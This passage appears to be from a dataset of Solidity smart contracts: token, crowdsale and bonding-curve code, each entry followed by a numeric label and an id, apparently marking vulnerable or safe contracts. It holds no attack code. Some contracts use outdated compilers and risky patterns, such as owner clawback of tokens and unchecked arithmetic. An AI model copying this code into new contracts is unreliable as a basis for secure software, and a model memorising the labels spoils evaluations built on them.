event Unbonded(bytes32 indexed specifier, uint256 indexed numDots, address indexed sender);
function unbond(bytes32 specifier, uint numDots) public {
bondage = BondageInterface(coord.getContract("BONDAGE"));
uint issued = bondage.getDotsIssued(address(this), specifier);
currentCost = CurrentCostInterface(coord.getContract("CURRENT_COST"));
uint reserveCost = currentCost._costOfNDots(address(this), specifier, issued + 1 - numDots, numDots - 1);
bondage.unbond(address(this), specifier, numDots);
FactoryTokenInterface curveToken = FactoryTokenInterface(curves[specifier]);
curveToken.burnFrom(msg.sender, numDots);
require(reserveToken.transfer(msg.sender, reserveCost), "Error: Transfer failed");
Unbonded(specifier, numDots, msg.sender);
}
function newToken(
string name,
string symbol
)
public
returns (address tokenAddress)
{
FactoryTokenInterface token = tokenFactory.create(name, symbol);
tokenAddress = address(token);
return tokenAddress;
}
function getTokenAddress(bytes32 specifier) public view returns(address) {
RegistryInterface registry = RegistryInterface(coord.getContract("REGISTRY"));
return bytesToAddr(registry.getProviderParameter(address(this), specifier));
}
function toBytes(address x) public pure returns (bytes b) {
b = new bytes(20);
for (uint i = 0; i < 20; i++)
b[i] = byte(uint8(uint(x) / (2**(8*(19 - i)))));
}
function bytes32ToString(bytes32 x) public pure returns (string) {
bytes memory bytesString = new bytes(32);
bytesString = abi.encodePacked(x);
return string(bytesString);
}
function bytesToAddr (bytes b) public pure returns (address) {
uint result = 0;
for (uint i = b.length-1; i+1 > 0; i--) {
uint c = uint(b[i]);
uint to_inc = c * ( 16 ** ((b.length - i-1) * 2));
result += to_inc;
}
return address(result);
}
} | 1 | 3,512 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(address _to, uint256 _amount) hasMintPermission canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract ClosedPeriod is TimedCrowdsale {
uint256 startClosePeriod;
uint256 stopClosePeriod;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
require(block.timestamp < startClosePeriod || block.timestamp > stopClosePeriod);
_;
}
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _openClosePeriod,
uint256 _endClosePeriod
) public
TimedCrowdsale(_openingTime, _closingTime)
{
require(_openClosePeriod > 0);
require(_endClosePeriod > _openClosePeriod);
startClosePeriod = _openClosePeriod;
stopClosePeriod = _endClosePeriod;
}
}
contract OptionsToken is StandardToken, Ownable {
using SafeMath for uint256;
bool revertable = true;
mapping (address => uint256) public optionsOwner;
modifier hasOptionPermision() {
require(msg.sender == owner);
_;
}
function storeOptions(address recipient, uint256 amount) public hasOptionPermision() {
optionsOwner[recipient] += amount;
}
function refundOptions(address discharged) public onlyOwner() returns (bool) {
require(revertable);
require(optionsOwner[discharged] > 0);
require(optionsOwner[discharged] <= balances[discharged]);
uint256 revertTokens = optionsOwner[discharged];
optionsOwner[discharged] = 0;
balances[discharged] = balances[discharged].sub(revertTokens);
balances[owner] = balances[owner].add(revertTokens);
emit Transfer(discharged, owner, revertTokens);
return true;
}
function doneOptions() public onlyOwner() {
require(revertable);
revertable = false;
}
}
contract ContractableToken is MintableToken, OptionsToken {
address[5] public contract_addr;
uint8 public contract_num = 0;
function existsContract(address sender) public view returns(bool) {
bool found = false;
for (uint8 i = 0; i < contract_num; i++) {
if (sender == contract_addr[i]) {
found = true;
}
}
return found;
}
modifier onlyContract() {
require(existsContract(msg.sender));
_;
}
modifier hasMintPermission() {
require(existsContract(msg.sender));
_;
}
modifier hasOptionPermision() {
require(existsContract(msg.sender));
_;
}
event ContractRenounced();
event ContractTransferred(address indexed newContract);
function setContract(address newContract) public onlyOwner() {
require(newContract != address(0));
contract_num++;
require(contract_num <= 5);
emit ContractTransferred(newContract);
contract_addr[contract_num-1] = newContract;
}
function renounceContract() public onlyOwner() {
emit ContractRenounced();
contract_num = 0;
}
}
contract FTIToken is ContractableToken {
string public constant name = "GlobalCarService Token";
string public constant symbol = "FTI";
uint8 public constant decimals = 18;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(msg.sender == owner || mintingFinished);
super.transferFrom(_from, _to, _value);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(msg.sender == owner || mintingFinished);
super.transfer(_to, _value);
return true;
}
}
contract FTICrowdsale is CappedCrowdsale, MintedCrowdsale, ClosedPeriod, Ownable {
using SafeMath for uint256;
uint256 public referralMinimum;
uint8 public additionalTokenRate;
uint8 public referralPercent;
uint8 public referralOwnerPercent;
bool public openingManualyMining = true;
modifier onlyOpeningManualyMinig() {
require(openingManualyMining);
_;
}
struct Pay {
address payer;
uint256 amount;
}
struct ReferalUser {
uint256 fundsTotal;
uint32 numReferrals;
uint256 amountWEI;
uint32 paysCount;
mapping (uint32 => Pay) pays;
mapping (uint32 => address) paysUniq;
mapping (address => uint256) referral;
}
mapping (address => ReferalUser) public referralAddresses;
uint8 constant maxGlobInvestor = 5;
struct BonusPeriod {
uint64 from;
uint64 to;
uint256 min_amount;
uint256 max_amount;
uint8 bonus;
uint8 index_global_investor;
}
BonusPeriod[] public bonus_periods;
mapping (uint8 => address[]) public globalInvestor;
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _openClosePeriod,
uint256 _endClosePeriod,
uint256 _rate,
address _wallet,
uint256 _cap,
FTIToken _token,
uint8 _additionalTokenRate,
uint8 _referralPercent,
uint256 _referralMinimum,
uint8 _referralOwnerPercent,
uint256 _startWeiAmount
) public
Crowdsale(_rate, _wallet, _token)
CappedCrowdsale(_cap)
ClosedPeriod(_openingTime, _closingTime, _openClosePeriod, _endClosePeriod)
{
require(_additionalTokenRate > 0);
require(_referralPercent > 0);
require(_referralMinimum > 0);
require(_referralOwnerPercent > 0);
additionalTokenRate = _additionalTokenRate;
referralPercent = _referralPercent;
referralMinimum = _referralMinimum;
referralOwnerPercent = _referralOwnerPercent;
weiRaised = _startWeiAmount;
}
function manualyAddReferral(address ref, uint256 amount) public onlyOwner() {
referralAddresses[ref] = ReferalUser(0,0,amount,0);
}
function manualyAddReferralPayer(address ref, address _beneficiary, uint256 _weiAmount) public onlyOwner() {
ReferalUser storage rr = referralAddresses[ref];
if (rr.amountWEI > 0) {
uint mintTokens = _weiAmount.mul(rate);
uint256 ownerToken = mintTokens.mul(referralOwnerPercent).div(100);
rr.fundsTotal += ownerToken;
if (rr.referral[_beneficiary] == 0){
rr.paysUniq[rr.numReferrals] = _beneficiary;
rr.numReferrals += 1;
}
rr.referral[_beneficiary] += _weiAmount;
rr.pays[rr.paysCount] = Pay(_beneficiary, _weiAmount);
rr.paysCount += 1;
}
}
function bytesToAddress(bytes source) internal constant returns(address parsedReferer) {
assembly {
parsedReferer := mload(add(source,0x14))
}
require(parsedReferer != msg.sender);
return parsedReferer;
}
function processReferral(address owner, address _beneficiary, uint256 _weiAmount) internal {
require(owner != address(0));
require(_beneficiary != address(0));
require(_weiAmount != 0);
ReferalUser storage rr = referralAddresses[owner];
if (rr.amountWEI > 0) {
uint mintTokens = _weiAmount.mul(rate);
uint256 ownerToken = mintTokens.mul(referralOwnerPercent).div(100);
rr.fundsTotal += ownerToken;
if (rr.referral[_beneficiary] == 0){
rr.paysUniq[rr.numReferrals] = _beneficiary;
rr.numReferrals += 1;
}
rr.referral[_beneficiary] += _weiAmount;
rr.pays[rr.paysCount] = Pay(_beneficiary, _weiAmount);
rr.paysCount += 1;
FTIToken(token).mint(owner, ownerToken);
FTIToken(token).mint(_beneficiary, mintTokens.mul(referralPercent).div(100));
}
}
function addReferral(address _beneficiary, uint256 _weiAmount) internal {
if (_weiAmount > referralMinimum) {
ReferalUser storage r = referralAddresses[_beneficiary];
if (r.amountWEI > 0 ) {
r.amountWEI += _weiAmount;
}
else {
referralAddresses[_beneficiary] = ReferalUser(0, 0, _weiAmount, 0);
}
}
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
if (msg.data.length == 20) {
address ref = bytesToAddress(msg.data);
processReferral(ref, _beneficiary, _weiAmount);
}
addReferral(_beneficiary, _weiAmount);
uint8 index = indexSuperInvestor(_weiAmount);
if (index > 0 && globalInvestor[index].length < maxGlobInvestor) {
bool found = false;
for (uint8 iter = 0; iter < globalInvestor[index].length; iter++) {
if (globalInvestor[index][iter] == _beneficiary) {
found = true;
}
}
if (!found) {
globalInvestor[index].push(_beneficiary);
}
}
}
function addBonusPeriod (uint64 from, uint64 to, uint256 min_amount, uint8 bonus, uint256 max_amount, uint8 index_glob_inv) public onlyOwner {
bonus_periods.push(BonusPeriod(from, to, min_amount, max_amount, bonus, index_glob_inv));
}
function referalCount (address addr) public view returns(uint64 len) {
len = referralAddresses[addr].numReferrals;
}
function referalAddrByNum (address ref_owner, uint32 num) public view returns(address addr) {
addr = referralAddresses[ref_owner].paysUniq[num];
}
function referalPayCount (address addr) public view returns(uint64 len) {
len = referralAddresses[addr].paysCount;
}
function referalPayByNum (address ref_owner, uint32 num) public view returns(address addr, uint256 amount) {
addr = referralAddresses[ref_owner].pays[num].payer;
amount = referralAddresses[ref_owner].pays[num].amount;
}
function getBonusRate (uint256 amount) public constant returns(uint8) {
for (uint i = 0; i < bonus_periods.length; i++) {
BonusPeriod storage bonus_period = bonus_periods[i];
if (bonus_period.from <= now && bonus_period.to > now && bonus_period.min_amount <= amount && bonus_period.max_amount > amount) {
return bonus_period.bonus;
}
}
return 0;
}
function indexSuperInvestor (uint256 amount) internal view returns(uint8) {
for (uint8 i = 0; i < bonus_periods.length; i++) {
BonusPeriod storage bonus_period = bonus_periods[i];
if (bonus_period.from <= now && bonus_period.to > now && bonus_period.min_amount <= amount && bonus_period.max_amount > amount) {
return bonus_period.index_global_investor;
}
}
return 0;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint8 bonusPercent = 100 + getBonusRate(_weiAmount);
uint256 amountTokens = _weiAmount.mul(rate).mul(bonusPercent).div(100);
return amountTokens;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
super._processPurchase(_beneficiary, _tokenAmount);
FTIToken(token).mint(wallet, _tokenAmount.mul(additionalTokenRate).div(100));
}
function closeManualyMining() public onlyOwner() {
openingManualyMining = false;
}
function manualyMintTokens(uint256 _weiAmount, address _beneficiary, uint256 mintTokens) public onlyOwner() onlyOpeningManualyMinig() {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(mintTokens != 0);
weiRaised = weiRaised.add(_weiAmount);
_processPurchase(_beneficiary, mintTokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
_weiAmount,
mintTokens
);
addReferral(_beneficiary, _weiAmount);
}
} | 0 | 1,555 |
pragma solidity ^0.4.22;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract DBXCContract {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint256 _value) internal {
require(_to != address(0x0));
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender],_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
tokenRecipient spender = tokenRecipient(_spender);
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
} | 1 | 4,095 |
pragma solidity ^0.4.15;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Crowdsale is Ownable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMath for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if (multisigWallet == 0) {
revert();
}
if (_start == 0) {
revert();
}
startsAt = _start;
if (_end == 0) {
revert();
}
endsAt = _end;
if (startsAt >= endsAt) {
revert();
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
buy();
}
function investInternal(address receiver, uint128 customerId) private {
if (getState() == State.PreFunding) {
if (!earlyParticipantWhitelist[receiver]) {
revert();
}
} else if (getState() == State.Funding) {
} else {
revert();
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if (tokenAmount == 0) {
revert();
}
if (investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
if (pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.add(weiAmount);
}
if (isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
revert();
}
assignTokens(receiver, tokenAmount);
if (!multisigWallet.send(weiAmount))
revert();
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].add(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].add(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress)
revert();
if (customerId == 0)
revert();
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if (requiredSignedAddress)
revert();
if (customerId == 0)
revert();
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if (requireCustomerId)
revert();
if (requiredSignedAddress)
revert();
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner {
if (finalized) {
revert();
}
if (address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if (!finalizeAgent.isFinalizeAgent()) {
revert();
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParticipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if (now > time) {
revert();
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if (!pricingStrategy.isPricingStrategy()) {
revert();
}
}
function setMultisig(address addr) public onlyOwner {
if (investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
revert();
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if (msg.value == 0)
revert();
loadedRefund = loadedRefund.add(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0)
revert();
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.add(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue))
revert();
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if (finalized)
return State.Finalized;
else if (address(finalizeAgent) == 0)
return State.Preparing;
else if (!finalizeAgent.isSane())
return State.Preparing;
else if (!pricingStrategy.isSane(address(this)))
return State.Preparing;
else if (block.timestamp < startsAt)
return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull())
return State.Funding;
else if (isMinimumGoalReached())
return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised)
return State.Refunding;
else
return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if (getState() != state)
revert();
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract AllocatedCrowdsale is Crowdsale {
address public beneficiary;
function AllocatedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, address _beneficiary)
Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
beneficiary = _beneficiary;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
if (tokenAmount > getTokensLeft()) {
return true;
} else {
return false;
}
}
function isCrowdsaleFull() public constant returns (bool) {
return getTokensLeft() == 0;
}
function getTokensLeft() public constant returns (uint) {
return token.allowance(owner, this);
}
function assignTokens(address receiver, uint tokenAmount) private {
if (!token.transferFrom(beneficiary, receiver, tokenAmount))
revert();
}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,250 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(
ERC20Basic _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
